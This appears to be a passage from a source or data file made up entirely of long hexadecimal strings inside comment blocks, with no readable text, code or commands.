ba8ee30c7a2905c87b92dc9dbdca289b4634d0cffd2673f55c03a21690cc9f6cd8fc89b0605031a825b4a0ff5e430c2a2c802ef6e84902bce33e2fa64f7a0bba9099a19c8ff3e3420b750efa246c28a22424017e4583d9d78699fbd80e764918d14dfa8bdbf0bc6714cdd0442574f4c63833ebb790cf5623258e4ea08b068fdbeb4537e8a8de3bcaf0f30ac6d3b768b266f839cd1a4ab6320c7df0a492cb1dd28deb769605803a4641dabdc7c959d0f4227263fa0dbb5addf59b2978be76bf948fe9399d7ff253934be9ebfe30fb54a0bff34778d6ab0cce0d1c14779b4cb359651bb7c4f7e1bbf4de32e8aed4041d9d637dae16f84ff786e518fa9d50701276aade7152ae01e99dceebc0809010d8369ab22166d70791bc4910253d57b9adc8c94c74b182a4c81cdee64ae84ce046a2fd0035020f45e46181de712a480c0e20571885869d16d7edefdf4d8b641f539b8d85b46d26504a6e0ae8875f0a13ec6d2c64fa8cc648802bb940fcb8049a1f6b4e7f24060a032a2cb0e19a53805edd66c4452182cc7142929e0f09ef9e9ab525275134eea1bbeb90a5618bf9f30974fc65841367f3be5a83d2a31ee0c6f1c5e1dd1de4db50a9a23161d9f2cf71c46b6f1bd8329167323e933ce78e7b6197d30f100a4fad15f46b2eae59787bac89714e14265aad96b4cc6496494888858924ac883a8a83a01a8b0054d2600dece1b4f29abeddadce2723040705a76044c5a8070ccc131ffcd7788fbca9d45c792e3682b6700d053875dab7d690b1f7ee600eb0c5bff4ee06108ebaec4d093432e52f91b5a55f95e8914e32de8be289abde552b0d20aeade6c36c95232e4456aa93195c65ab101673292765c3fd657e871322fcd14148eb194681bdc2070d8a3dcec856d4dc8b79ca944c7ef9ed9cfe23a25c844a0eff201cd5fa18f1212c4bbaa9a2156fab6530dfba152e5ca2de97a97504964a9c66770e7b89b3c56d3e7425a16f354068d039a4db717036a7f6e98147d2d6e855f1cf5fe84386e400494303f87299af124db3b4f05af32d665452e9b404fc05c639223e36007fc19c77fc74932b132e7b8627c32f48c154b6067861e30116ba696e9ff2f22cdc5abb539103848f72aee22b369d3db257cea7d527fab967e32bf27d0f66f2708d8919eae2f13439620e93cae56367e2eb47d95ced9a7a2a22d692146bdab798f1ecdf173283267048b433a3e24c3b85b74303de8cb2b97282923a445ad47b276fecf68ff31e7e38475da5c7ce14df76d5bf42fc270caf900331ae427124d48dc2348f508b8a8174b5b6050cab60239d2720e1d6c41da68bafc5febcc830b9ef2d6d6d911212a5459285c76a276fae07080f4865d8946a0a5a545248ee585020fe6318347e23179790bccad6735456631242c399be50573f3d4024e09454fa6b770f817588e17cce29ea761367167b85121710b243660b10895bf6c50500d7f861142c46871e3ae8f495f2ed92e0e63045055cf87b6b4910c397641b11d90f295e3fdb9dc1a0f217bab76deb471622a2ef3c97320e1fab6eb2dd1d43b0db90009afcfb1ebf1e3c7ff0d3f14d4c64ca1401f8407430fb1b80649c312439ecf6c739e5c7b2a21826dc72a226f83915752dff1ef48c562f48d19cf59435c1b57fa1eb6c5ca6fe07f43a6e9a53b7d54ca49e8d462fda3caba61ac65c912bdd641d7d160da73e7a2d95452eb487ce49df03983a6e61f4affc25819322c5e853e4846071e53e0418c5f539e0d0e0febfbd35d0cbb800a5c926279f305d8f38881424391ff9341e1ff8287cefaa0131bd66edece8d20d3336b43bb1f7a5ca90dd6a6aff31c089fd8c37f556b271b2e0a6163bcb46a86abc5eabf899e5ec15d58b67553bbcd4b882aa88583708e98d6a374708c9abf05a30216c1d967a1f090723949232c68e9228c067b4775fdffd89e51de849351f1032332b2bc7dd46cb52bfe0e1a32761632072ee895b3d4924cb37b548679d334ac9732e979fcae8aaf789c5267b606d47c57d729f21512c6bdbc1495390276609be80f84b4f6*/
/*059a9d2163226b341d951002006d005e17c938a81c4cad30f2434300bc71cc2e353810824f88a1af597074f3c3d7f65f442c6b63f3157978ba1286ee76b1442dec3ad8dd55f20afe1bd5f72b0f25f52540be96e84e67d220806131918e28b42251e83b43a01f072cd3163e1169273af500327f22e12fa92a279cc5d0e7d333ce5d59da248d1841487a6725957dcdd3bf55db4976293dd69aa47acc55ffc9cd97eb5677dff308956774c2d5bca59139e3e0887f58ba6e15f9003c915aaac08e38c5374a5cbb0fa8c292c2b829f02c36de621874ba5b98fea7d64552eb67f3765fa39d57d66cb71dedd6c88040d0f04729f357cea6302d0a308f0e81e3813e102dcb67c26883dc2aa7d449bc5adf5ef33de1fbd6da5a898bb8855f804b8610582d1886ed3b42041ef6e0569f87a41381227b6725b33e39067177d4d932606d2b68edf7f850274cbde2cc6fb84a429ab4c8220f25c0b14fefc0a6b39a01cd13994c996bfd1cac7f9664279012fe536c64bb06ee7ae965b97b75677270b4ed2136a268308036dde3b0518a94711f2d2cbd89a6749992f609c8741867b2cf1435775a858108db5c6724bd84c45b72c5f1796ea892c894d8a862a81ea00c71ef35b64d200c2b540abac1b76f67849cb6adffebe9d01ae4a7a11f4384f7bb867915ef6cbc3d4564966826b7eeccf7a0aec2adc601cd7d8f78008b1c610519ef6050017d47ec94b6a2a884c9d84258bd450380dae3f316a22cd06ab3274a2fda47524ac01be0a1c01bac0e59d3f9a73cadc9f022bdbada8609c448eac376b811bee2d1132fcced6aa734e56abc053844d005e1dd8625f7ceef4ccac09cfc4d0964734ae7e1ab2b68b59705d90d2208d7acd06ae55b230696a9d8e6138d53ee048b95b6b0cfc4da0b6a71a0de9cb0fbe627904f10ca6b70a1ed275568587e9cbec5ce7cbc8ca9939d574921e6d6f3740ab4ba2e7bf0987aa7e29ae7d4cefd39b18f17945040b6372d6f2a67e18f643b01ac5de22cab4a3ab38f2cf665c10b16b0747f90f5e288aef69bc2272c4d03a86803885063aa1473a882350caa3f76d8c7a0182bf68ca6e067640d06d2d11ee78c3d9ab753674eda84ce6af0b984687a07a1709bffd70ae2a71e5da079cb6adbf15cee8adba3ceca28e59ab4f34c5c6b4a6b1ec3c5ffa2693a156161aa8e46b63df5755c09ff51ea75bd665163ba6ffdd4c5db5007828b701fc5db9f5b82b0d51c5d8a459e88c19b2960726077e379b762774a44cc91feeeb4464a4e6e71442c55c05ba28fb44adfcdf471ad2d25e864691ffd3c20c5d0a4ce6318514dc3ff8ba24c57f2fa39f386a2e946c11ad767617b107f5bf8858769e0680b325ae09856c36a2f844590100666a7498e3769c753e5448d48fe1a375cd8c453a2a6e10b5b2a93ed20cb415bdc34209cdef09ea49423b228ec0b77e5fd47bf1b80cb984318dfd86d9a88692b5f960492a0af49ad44f437c18cda84579ac042ec3930e7b414ce5e06542925c0f2013c8a1867c380a613cc7dac62802fc795a8e50734219d1390182109318da5fd5ad54c08a69e86f214f885510343fdc53dcc9a63c2b873810247ad5d8adf54942fea5b6dfed264eb24ad0123cec4197b9fb9efe6742d2134dfabf0bc7721d23bbb51bfcc7942e18a94dcb7284cb2db7a9e2ca9a434d4c6d008b2f923ae4dc18e94de7cbb8488469fe31478bd51bfbf6de892dd14a1eb5cebdf826deae793250e3b8c0af6a67094d7a530ee79daf42b4a85dcfa92ed1ed26d1e212cc736eae2b24ba678c343b5730c3f63e09ca609f331fa13222da2a0028239277245a8fe1c4c08a2bde34617e60dc0340f04234ccbf8e1be920c68636881ec155ef2079401bb781d8b4c0c83d4ecb1fc56e75f1c2a9ef9e575a5a7333a1800363ad69ea933643ca490ddb24871e64a2ac11156352df275935e8dd63bc077069037d9ecd2487cff828c7d7f01fcf64fe486488a059213afafefcd11bf0fd47a5fa09a8915ab6dc8eab92482b06c907ee82d6dbaf482f2eb032c7b9f4010c6e0337277abf46becae735ed617021429c0c827e4c90f79f87632c07e71138f0729c2cb64af9cb477e5747e2539efacd75f084be703ac1278b9f7c3c86fb275755c8b279885cd25cc7df7326fa4322156cb95fa794d49d02562cd08d01cbbff48eb46f0944df5c7db3b2ecce552594391ddbab5c48e4b230a6975cedd14db0a0beb3b6d8f58f575edd23392b9d66420cfad3d9fff116c91c0157c3cc5617eff57650dc3e3467647715f2cd615b14755106b5138d138260008ef3f44285a04821c7b2afe0ec42f49cae0880f52e985d4807e6819ebdba55853ecbbf0f498c7164cc3809991c957275e309ba0e211c4c069f1f221108c939d77874b3e17c4ae8f6f87689b30dec1d51696b12e823f422173c902fb5a8cbb1d5e02771ec2e92ea338ba34ab8d611ca731a941492953036f81ac5c8177dba266161a432eac57a629914098d3b2829c54ab509028f251a69d7cc186a2d9ed60f1138dfcdc447c66d4d7f1507437437e81ace8b81dd832d9f3233cd7b9a9707e7d71bf40f02fae454683fe853887a62968a26fc1261e50c0d28c12198f84df09eed7ce0a1aa924c3e1b1f3966365bcdcdeb4fc6d6a14ca560a82677477ab322ae020d6ab7f4d3a2aaaa74ef6f82decd26b4002f960ce604a7b39cf41531726ec0d79c88c0b55046e112ac91ef25724f867361d36735db114f15db71a27f15df13e99bc88336f77e0a0f80fb6d8d0ccda6009df2c1efa862da62b5500fb4ecd4ccc801205c74473dddc0afadb0cd962*/
/*bba980d0eda7ec8e0bd02c4d2b6158f0359d6e96886506996151af015429dfd152fc1d212c0ec677be33c13d71aa122ca3f39ddd7c0d68db846a6336696ede0cac764fc203bb58975f78f2fa4a0db502479240ad9a2ec353c3f8adfaa0721a93d626bff46746972d1811bc500c0108e6712706e136b76d016fb7ec1f91cb847ac463b03c5e7d95cc1fac720db8b27d94d8ce4783a9091258115842f48f47577b6cec599ebd715779d3162db6300a5c7dcf9efed1a012e4d5a0b2f0a2f7f04dd77f7b6850a7490e4cc26bf878c59b70e629dc4612309d554c9edb7f78fa41fc970767db2a116bf2d7466d21e39c5481058dea91ceed9117bc0a1b947fcb7ce3b58bb84e4268f972e60e17b339e7f1269e8c46e7a1575193f80f66ccea84b66d67b82c9b502bd633ce04e8309bc78910e253b019a67607868559b4307dadc86d07ff572e029a6844e5772939f08311887e1e15015734860dec87e18749be4dcfa438664ecd3b7a48ff7eba1c2c977b7b62d3c48408c4887de3c669b30e212b09a9fee1e343f72198a3f4e54ea78abccb0e55f7242dab2354e272e66d26340161c10dbf5366a5ebfcf6ad83c78368bbe9117950e7fd6db6b20ab3817d571b95c726966825f57a34391cbd706c288d9ae7423eb19d9863fe390a2c06bc8c4c90ef32d0eeb35887f7d075bfa7ac7514bcdbd7e31505682de6d1d93649c6e7bbdb4e94619760f60f6c27c83ce8bd7340b68020bc0d8e05e01685c67573a020c19ba346ea8ce98b33161533b2638bc0c21cc02a3a6dd8d507bf8f0f3f409870359988bf969bbeb02d493ce0f7791a2271f566fd423214a64beb786316801e229607e0ff1c624fdf3dfabc90da91bc98102adf134977c8831d077f51228ef75f8e1e3ca9b227336254aff1f01ae37d8dc01c0fff1591b876e4347ae83539a826d031234a7cd3d7d1a9eeb0ee3bbac2ba905e2d214023a0f5987efee47d45f20433ebd2807d6a620b22528086049a11db3daab474c139a9fbc2ec5fc85b01d00ffbf75d5d0954976169342c7631b7b05df589fb45b61b68cca9c1191a0714d68ec2449ae0656a40e53485afa028883311ccd863a965df05f85d5165f42c117600320f19c982a4650fa123192bcfb3922c6880cd70e1d52eb93f675247c8d29b1f72161c92587cd9e08823e9059850099ae5f298bf70f7681465a9afd14bd4a5baf8c20f744a4bbeed4d4ef2f0d2d2694aa952b2fc675385594874239870943baaf1c57d9ed76658c46c38c04c4c923baadbb3003927d677292fab12e99a5c4bbf90427fcc132a6771d3f0bfa38faa30822e767da44fd3dece28cca1e60f08bf49e93560ea89734354807fba82d0ccbc134d3f19bdedd6767a5771d5e1233e35a8dede92f18a18d5e8b53cfa93870acac0b336f28aba1a0414f1085868224bf4cba454dc3084209030ffc745b630e0f1096ba77b6a523ccccce12466347ed0941a17ff760811aa8da99ea0885e5835de2846572937eaa424f95279dcb300ba358606c890fe24927cb86275938facac02e23abd0ae7ea362b98c72653df7f5f00fe978a1b39eb8b4fdcb4ce1526345b9b6789e00137052ac1494ba4233c1a3a4bd817d3814050b8b0c035c9bbc9b77904ac0934d99f8faf9b242668df9b7b5606f9941f4509710567f6c0e2ccec56f28d859c31c17ae4e72bb77a207971f8d7cac66f704ad01e059d3f3e88dd9ff5d5fb19613c2befdb3f23dc888b3238e8c73714d9a230ceab18cde94f9c255576293d5204aad0a2ca78be40a4333b0446d37df67dff2c9487445360bf6bacc1f8ec2d9fb094f23a9f7b0e987ed516b68d35df0ccec61cb67c182d4bb015f781fe0fcd6c3d86d256e46718ecda3c958b7d9c37d7ddd72a94af9647dcef36c8bcb91552ee1ac68aabc219f709fec30c476d0d9c8a6c62d096f65b7c760d44e5ab01f19ef60339a5ec901d206b928abeacf02de8dc1bec525a3318e745db72651b4278b07d0e799919a88e479dbab7cfe2ea5d025dbcb919a769ae62d420422c8167b735be52a0da2fc2cae483953901207ee479f821315c6c6bb7470eccc385af805da00ea8789780fed598b56fdf786bea6fbe671902b44d1919b1cacbfe91553d25f607b2b86afad26dd5a38d4e92406f4970d1ecca1fc4b95b7d1d4ad9a7c6e002c689e8efa89f00a4b273524935b41bb46071b06f1814152595c43a9e296f270cffc09e58958b04ae45ddd11819834a35246d507fdd1b1b3fb1ab88fba864f17dc6fdb3add1bcbf9a3a510f3181dcb12301601802a5ad684e43ead4982cb3b22c054a0468d875f0fe5358c474a30f53cca1ebc19af7ee2f5657685fbeeb688ae2d48446e2a4d48277e014262bd75188312894bbaf299c38069badc97d30d9ef4e8b592257e622b5321c7e87a5a83734091657518d05daa4f0a761a3ca5a53bb6bf3f6f1d209c329c85a1892c764110c9421e00ce471e99a4dffb9e65e4b1f4131bf3dbe11e6538f6421b84f8c338df5d66dff5a44f884c6e1d586c4fb6093a91dc79f5c37a214195bf99d6a06f2390784ffe1b845a78d0bccfe37ed09f526b66f09525564526e8f6e845759701b67fcae72dd2a9cf8211f9a5e14ccb165cf13f646e233493955296c50a19d688d736fe7e5661a9de6b6df599696ec96600a1a4827f5d4df3bdef7ed7eeefb303b88d0f53ce2ab35d26ca08af137b86e8418e2658bfc880ae8332e4cc1cbbb67ffddf78be6c2a5fab1ab0e6bd4e73cbb21683d21f3f64a7191a89e569addc515683d5ef434cf6d663ff84b863ca9dc56daf1d2407ba476bc3216*/
/*505a4d773f9e71fa48c7c7137f377a6b33969ad2bad5855135361ead454e369fa984ab190a02b77dc65584a3dc5caa64e48ec7db104ac00076766b338e1ef8c7f5bf9f1dbe92c64671fad4f6a554be59bc1b78cf8c85592830554dc5577911e6ba2e8b1916f0e72cee95eed5357830bd2f5420f016d8e99caddc53bd6f0d4b6ec6bd4c3e839d3c2897f9dec7a4654e2d304b921d3b6e528f7179aad88080602b1608685dbc562d0a998accbc583288de7870952ac829290a9b4fc238c2b8520c5d8b4a3a595f9595e5d36860e94285c2f65f2762b5ae4a6ebc27276ac4c6b55ce1b667264aafb019bb51ab1c5f9599734e7676ef28b1b5ead51f76dbe2e7a3797778b971db2dc0d5ef9697012e162f17924c7186f2b368004de6c4c3674c6a438b54a3fe5075379dfe4f0cc97dd01b65d9e47cd63e297abc8ac122994d1a1e5b63a5462820d216ad12fd87b62492fa5f849efe1656548d82a727c2e5e223a05480600854ba5a22b8ce2090d0fd12c6338b4e7830208019824d108886dc97f6fb6839f7ed400524980909afc584b08f54af5e9e87fdfeadc62634872e88f1fbb18b13a697995d6ec918dee922af02159417346054f4a41c73aae787388237aa0d60011d8511af83b648f36aa7013c8280d34e8270804b57e0c81f9bf4810666097df31d756c5f2573e3d997d3800643e29e3c70a52fbe2bcd179299be837446197b3495d9d7b40661f1bed73c3c546b574cc03d5d2351e2b583995152afd679fa5e228ebf20d5aed4f415bf74dc7c4cbc93601bb6271fd391f12860494c172301aa0baefcec90c8193bf57f0614c380c722556c47fe6d8ad016dd8a5dbf424264783108d19d1c3ffd72c2d23483c084c5a0cdd36cc318799a370ac156d6ce9fcad0f72d9e6568b20f47bb4b809cdf5167f3d616064547a71321715e47049f9de2c0ab1ff553ac8bfd29a43d54bd40521f3e05e81979d67ad05af09493b19deae895fba77f5118f876e7420146bde20e03f73aef5e6f1065876a1d98940232c51877649771c766e080e5d74fb35cee4f7d13f7277fc07e2770007da3c7c98182f7607d88c28a1a7f49555e6fbf37961c4c1c0f16affd8ff67a6330ae4d133f35391f5948769c0107e58e30dbb1df62ea85764343824103410b7620bfebec8e9173ef2eb3d0f50f3305d1ced8d6870c3bc7a075ed579d6a3a060d35c7543d4376bf3fc9957b226f6e87759e412a77ec911260551fb2d1e077d073a5df2564fa41cbf4ed5704c29d2de64ea6d8a4e4210abb3c1c0b23d111466cb33acb05461de77967d1d8e9b2882760f412fb38f1e9f09b9aded1b1a4db5bd63def1b135ee0c3c2811d18ff4a154f277a6e488e85e8d161c62852e7067935976a3ee87a5b61cc2db06445a6b7a2cb3e22fbde71209907e18296575b1a00b62ca87d49aee2abfb7661c507fa65540ab9ad276fe83c51b887d84039f4211fed2b4cfcd9aaa839b0bab78124e87d4e79057dd2ca9e6409360fbfbe72aa3e186398e6de6a2b796cf95a8b30a073b9dc366b49143e12300e5e6a391e933ce03e3cf9beb075e28d58125885b7962f5273d20cefb7ace8b244edd1e29552dbcb808b19dcaf02715cc1bcfa49dc8177d4e736e7f054a3780ae6519c9e5c671a9b39fba0b3570717402797f8962bdfd1f9f29e97d855044fa055b47c333f1c9e0bc1e8fbea0a3f35cbe0cf60b60976f0e32d6f5ddadc014f72f10284caa6230ce5b433b35f4979321db4174c488252bc3680b40fa0b8660461a13a51e14af6fa8171f451384b307579992ee81d70c284024655dbc1789a853bd8c2ff6dffd27157fa6e6a7ba0c51834308dee267aa5bc993d0005366ef870014599ec21cf70fc5ea2309fe9e15b8befc4a19c1a9a59c566554840d62fb36409c07f2dbbf4a828f8fa50b5535ca5e9fbddb8d41b0d42a53953aff15364b283ec1e76dfa8fb3f1231839c18ed1770288216bba41d2571dea5413ae43ce7465859a11a010b4a55a39657a968ea3d5ba6e67ffdb8c0142abaf233bee49035c7b983a1fe4704aace06a4ebfe5e840eba37fa266e81e9f9a6f11b3ada450a954e37bcb13fef045a2c68966a2cc180d52d1c3836e3bd36ce3c2eb87a32145eaddc7d9bbb79a3e217b995f3099083e63e7756ff111f83881424f3ae817d6067e9864796a89dc37cd7edcafbb0ea2e73c3e14569d14a77e7ae3dfbbcd0cd35347fe4dc1f13aec5d7df2b42a4ab2421d1a7e6a80cdd25a471bbf699a98a46ac551ba6bc95828057d610a543617cb0ca5fae92ce39832804d44841c797830475cb0f0b329a03c589fdbb65c814f8ef3bc3ff03bf92be87f34785c6168760f4e8df5c7699c3079dcc33fe27d6546681f2604ed166495fcfa47c1aa4d28a572be68a1bb9e1f3a019f609f71893242631f7ccc6dc1fb6f654663cd68807b836cb443844f9897cd8c1a048d26cdaf6cc899aacf211a34bee8eda1069eed6553adfc2a5887da386df6b692a7cfbef14a34ca3367ceb28d012d6a8f4c1c50921fd70fe794b8076a6d2f5682d577174d5da5dad47419edcae79c7b89935382331041a86c8fa15616d9e0266292662323382d7c1accc38184a487143199af004a85b13356a940bf5b58a1137adfd7f11f0a7a50a81390ad00d1f93a58810c57d5548c0d807b9b61ca15b705ad72817967162d4faef76902dfad6b16844831979ba93768cc3160ffef48c7bcd2d7eb9965b9cd6e3f895c13e46b0093740cbe4f630e411772aa59f29bbb37dce99c65fb1c02b39227fe424a22d9144f70333684c81374a5b4c293e6b07ad63d4*/
/*a6720c8cc7ceb4569bb1ad3a36fdbe2fcea4387bfdcc6b75aaac08758e4347f3e6987495e5f8aad2b7ca9e6a95fbbe5c771d83683607950142e5a7b7a384347d9e185cab4700ef604050f9559693336bb750e8e88b384678430a4ec2d77fc1d29b08ee038ecdfe620f3f6e879fbb5715ccdab6103d96adc7db3a00cb99d5eea18797326245baf2e752f4633e219e43aeeb170c00c12b6defebd4f84c7b1bbbe836e9d8b2ce8d96cddc37d116b92a9b647a1ec69334eb8c1b09e767c3cba31e09de8a5a6c651021fe0bf3550372f30f2210da576fb7f5d0175b834e62bdcf62efc7a5cfa1559434ba2f4ff31f606e8fa3eff4080ea7a233a316e6ecf04726d6da8a0ee0e52259a57befedd3a7d232bede35d0c5c3c65c57b024e9e4b913af3aba7ef80cd4364087f7866a5af91b54eeca868e3f6c062ee7943993dbcb93be5de5abbd87a24ad6ac56d80f1ee6c31f0dc49648e102980619932c53762d1e88eda53b2be9f163c95c4bb9c6c70a5af35387e2d533fb9dd8e7af91aa3323f3d3bf69e10a82a3580d765e3ce0ccf7178f5cef2a6021d243bd0bc68800c4e4f5955e38d7b6cd407267e3429eddba3096dca0019d1d1a3dc0e2cb7cae23d6ca7c202a9b434fcd74c53e887a0739e68892e8434f48a3ae4097a5ab6f4378a8ee77d24ef6c6d88e57b05f1a89b1d380d17986d6a1897023d89c2fa539405e086f493d900bd12b34a9927a2d1a22a70a06389f20964f6e657b8e7f894795f11068be0619a20f5ad87b0df15947667fbb0f23242e71bfdcc6316a95d1010aca2c6a15914e7195ca8fd338b0129dc74c47e31fbabd0efd1d4a59f7797f88aa6ccf7a71c08c1069957f350c58d4cf5afdbae27de60308c17c608568e537b281390d5e4fd64e8fdee5d842e469b02fd7dee671c4f74d7e4ccb35a64fbb5a65e51500bb0288af369cd0b8a99270a9ba79161f24a4e4df9b207b6a8e0aa0e8f5b945920aad0c5f0f000cf13c121a70a3efa14d2ebde11e3413a74341503e9cb18cf29e08a8966c16bf2e955e268b3092bb0b6482f884aa6d83105104addafae3ec93df618ed3ea576285b86d64f9df8d50ba64a054f52d7128f9be2fa19c53b99ae674a4a23ef317a1c2b79d97a0f5b496278e1b63a480b791abdacee02518f080533cce0f2ba4f6f12b04e72a5dfd03e1dd5fa7bb2dde7eb9ee9f0cecb2f975ba79254f9f6ab5f4bae9046ba1601b9f2d4fba5fce50cf5fbf8f7eb1b440f2c03b9400dcb07d34333582b4733d19cd5e8635785914290d1afe97957e63447de6001dd3d7d7a7986759010ed94e5a5fb6fe31700bb7d9a30cf5f2dcd1c66594b28f6f98e0aa80c70706a4439265bb4f23861020d925a5345b06fdb136be8c3fcaf07fe7426c3455fe4597ecb8edc39500d395c68851f93125b47e6ae6ca0ec1ec0fece97f064057558d83bd9a35d6461e8c9379aa5faa4605c76cdf9ad25b78f1a4a187f1603523215cfb12b71afada401e131daa6513bd4a18ea22fd2ce3a4766e43eca717d6cb0adc24b2e6c4f66b4e1f38b2f9ac8d85059226bfd62f95c6db27a204333fa8208b4366f98576f290cdc76fa624c0e3712ae34b104850364a8882d9643a1972d0d841332fc395166a950195bc21f7d9cca95afef27d2cfbaf84914b51ff07fee065bbdb561fee383ded8df432bad27cb743f1d47ebd9a4618f0f296fd240d9ff446896ffeb6304255f6bcb0ca9d99eb5c23459de1e23382e9665e4c2c0792018a476df84f43939585a633867264e8db94d75f9450cdcf727e7300947857e93d7996c47ff5676b52f3b884777092adf0797488860706b0797c5aaa91674474edb2dc04f3edabe90853550b54ec44c7cce574bc55533f5f0711f3f0d3bb65d1682c54beecd275a9f526bd4d24ac363fb211874fa4554f51930e943329debf500463adb5610446970376321eaf388c3c09f160054c76a94ad5bc6e6fede38b0a99eb74681f0de8936c23dbd008cfa8cfb9eff72ad87ff8bc472d0b079ac63077349165026d78a89a4d50a1986fc01e7870b7a65689feea9d1f0a14c655251d82c6b6b9a33fb3905d2483d42d509bcf469cf3dc00815a43708cd68d1aa76a386f8676b0190887e1529c7d7c11869ccb4c35da69b9b819d0a07f28f565913c5432ccfad20159557e5c7e976df01cf8eb946bfc34d463b4c318ba624da557046eb765b4e1c23585ef2961711ce330aa702a8a43c72889868a75119c8c399f5131fb578379fef388219e2954623d9097b480f448a5ed810a384ff123a23715df99fb5d443b1b9c79591cf9b2846e55ab6b6e69efc7fa511aaa4042371b00c7cb8774b1abcd3509d74dda8260ec7db36ab9213be365b202d96306dafac3b38ba7111e6cec0598a2dc0e9ccb3d41ee751ccd48609ddbdbb6b5632c752a52683e8e61c698264c74baacd5f277e91e96e31374124d6277daa3c60e47c63388ac0a154ea32e209ba4aaed531355081ab120971dbf6a6c33aaf54d8b43d65925aec9dda4d6f8470e4e9e8c6f7cfc3c00f128502e3df3cfdf0eb12c5be3bfe85231a6406b9066d2f8fe123b8b7cbbff2b86d007086c9ffafecd0b9a4238a8ffbdc2253fe8a6154b73eec26dda3133e79f04e0f91d1b33a6d43c84003b10931e6699fdb5ed9c4930ca97c6fe8bf37088202882eda603e5f542a19c107ce133995b02711531ba0f267f4ff996f24d3a63ba0b999e4b947b1dd810001c0d2a2a510addec997ce161586408a7c41f6fb8a5c5d26a119367f8bb66cb6d0599202b19db7503092bbd4e4072d166a58587db02367328af0512707ea7*/
/*0ddbc1c8795017a38b4e31b6649b36debef9a9b536745cf832501981353dd48646a82a79373bc582fd30921317d39e319a6f7f2b7f8c7421e31fd152c0a7ed3d60759e3fbab22f53d067fd4925109f112b53ca110aacf89bd766407dc80c65079192203591a5d9d01d290c9780e4f9845a050ca7466ec3b125a12856f29c79e93d90c657fa4621cde4253237f4d50ea39a848ec79465ed810f2286964f5bf2fecad0c57727ebcce4f408be440847d04663de4c0f9a856e4d9fc32083aea4fc202caf6cbdf720945ce9d13856a0b52abea29035a1e5f0c8c9c7670e14b0d8bddfc933fc3fa47ce4264675f3ac09838cb10f21623a9e03f61132e24bf32414f3962f3026573ffe40a444da7bb3b979afeb5125198743f2300a00eaf58cab6c138ab1a87a45769e0a0c9d3dc2b3a98bc4e9cfc0bd57b53a0e2afb3b9e68bbda0783ff4f38e8fbea0dd1b65c1722ca3cb9bee0cad040793a30a3cf9ab64b62df3a102caa43f8fed53974430ee0b7b25a9bb509e242043325779d080b910ccb99c915ee221640bffebc2b814a6ef9e56fd6e8129ecfcc158680fd2f36298d9903d33bc4f303e06cc1fef30e76b4641d65717857e755d5d86ac06764cfa2d415c16064321fbc58a9fdf27032c83e95ae8240800bde153184d010ca7d31b7f764e6184df9aa05b8df15125127f354f9ec1a65e52fec596756dee919b534b340df38cc14ee3e5510c4034a4cc3d2302b5a58661be3f47f8813425bbfdb3069150ed9a17c276f93fec726a25a977d13078995442bd6ab6aed8c763c456def47020b1786f6de42a31e2d4866186e64117bcc9cb3d87948c35d9f66900ac0db334a638b83e2cecaa0e92656348ac71ada3a68e27db8cbb82d4abce8da511555ad1e53d9f3098f0d5c03d2163be4285450782fcbcdcb0da9b6c3eb1c789743848b61552cc92dd1f2fb99d8f9cfdb86d2f62a21db23115693033aed2347db8243543135272aea0d29d0a3fe810e684ba99d532138e91ab25266439bd281484b4619d6ed4f7a7d09b12060612fbe8411911481cf3c478a3b498dc8b629da4b8c30ed83db7468fc94cab0ed29dffd9cc187c6e25b097e7d134bd6132172aa9c7262a9666340fd04e29d7f2519059db987b7486f0a9d81eb8515b5b294e0bb621aab99785f33d45027a104c5992085c328f38043fd3d15b26c6837f3cba79d8b75bb7acff59b45a116a4b8dbbe661832e04e2953ccdee91c27d412c9bb9795931b916141c1d5d6c68e9c18aab0529db32b22c2f62a0323402eaa624e1680f4657774bdf0a7c83b22511cc43f91c192f70bf359370dfe8864702d3448675413870bb92cb4c6aa764b35870c0b974e600cf09dc74e17101565d86f51aae8801d5306b0e1363954a9e29fe573f3059a2c9b4dcf9232d96850fb70ff0bab510bd1df7083a82bf061cb9eb86994199a9f2c118dfb3e8f2c693fb9d0f09185ac4d4507c83210e077ae77aeeb98fc5bdcead881360f0cc58a3b517fd77fc27cea45fb1f55852e00a140d851ba3740c75b42cb7015847ea20d59537f73a8410da90f4d68b028493795477cce9b4ae9e0cf321816bc867c6f58c7f8ee3cd34eedcc2c50fb35f3dafbe656a1c9f66d33c082b2b64a777367d4eea108d850461e63f5977d473340fb8d14b15280ee136f16d7fd5ef012368a2106986dd7e46ce23f96b8f988e5dbf0f0c3158535c10daf78d14a12e85ba9fd38a83986a59bab8808cf7b33069c0221bf0353718c50b286ff874963c27f84aa59b7b099806f4a55df5684529fe25381a338986b4876b253168339d29478d0b893b87527b7f11aed4be2fc227b6bfeba5b16ec653e52b60bf6078f6228bce1bf53fd604d3ac7261dc05e58450c8c68311c57fd5159a03fd3b0b82af264a453f58045db5352e6ae0052b5287841983203e41db3da109ba4e9e1d08dc38f5da3eb9a2c458b1fa106629b580e3c77a15be6378cf06cec2a6e306cefcf1c0f25732d75521435ed323b132636c28312e531e2bb7814645cf04b651a0785a2b339d80fcecebb0f61713ce228ab9ee813cc892ceb0f5d89cec850f0e2761fb93dcaa44a693fd2c561a0b134201d9c80e00e88c3bd199abd1a244c7d338a1723e7fa267ca09ad9e21e47eaf592e23d9cdad4cf14bd4a45fc6f7f7d5869488da77ddac76c6460f1331fd81fa85db57ac139d2695e71aa4e0c89d9584794d0158a5de5458ab8f6dfe477aa56b1c1320398c28dd1cb570ad1b1fd5270d3a2336d1bc642f669966e0fdade0b7afd49ba9875a51e0a5c728034d0ab996876966f66b6df12d4d94956320dae87f4316ae39b3b47c84b51901a267e21d2464e0073a74425245e4a391a4d0b9d537373dba5629f1c63876b76b5bf3e7e1451e3b23e481ddbeb982775bd355d02dff9809899983ff19a143d643e333c145535f7965a84b79350736ce8bc71aa1f32b0e52438d2b1f5f53f46c0efd42b4e06add8bb9f9ef5e95a7bc0ef2e9b0d8458b71e5a7a195aabf43c9262217347152f64952226145aeed4a292d143b729ead3157c277ca6484aaef164de15acbe3f1e35fb456291e358ce80f55f84424f0021fdc7ffd87e489c3898e31c48c6446d47946789b8848723d08d2ace17e0370f321f1008530065aa0a2e8ac35d3a20f9a08b5683b4323a05be6f2043825e170386e5c25a417e28104052947479e4312da3ace372875f51bc3dad6b69698ec9bf8475689d4be081870ae8904fe9bfbd4a4a49dc454cdca96a57ca56415123de125e7c3a09dc65eab2a201963521603248ce4669544d54c23168c30110904e2a2d*/
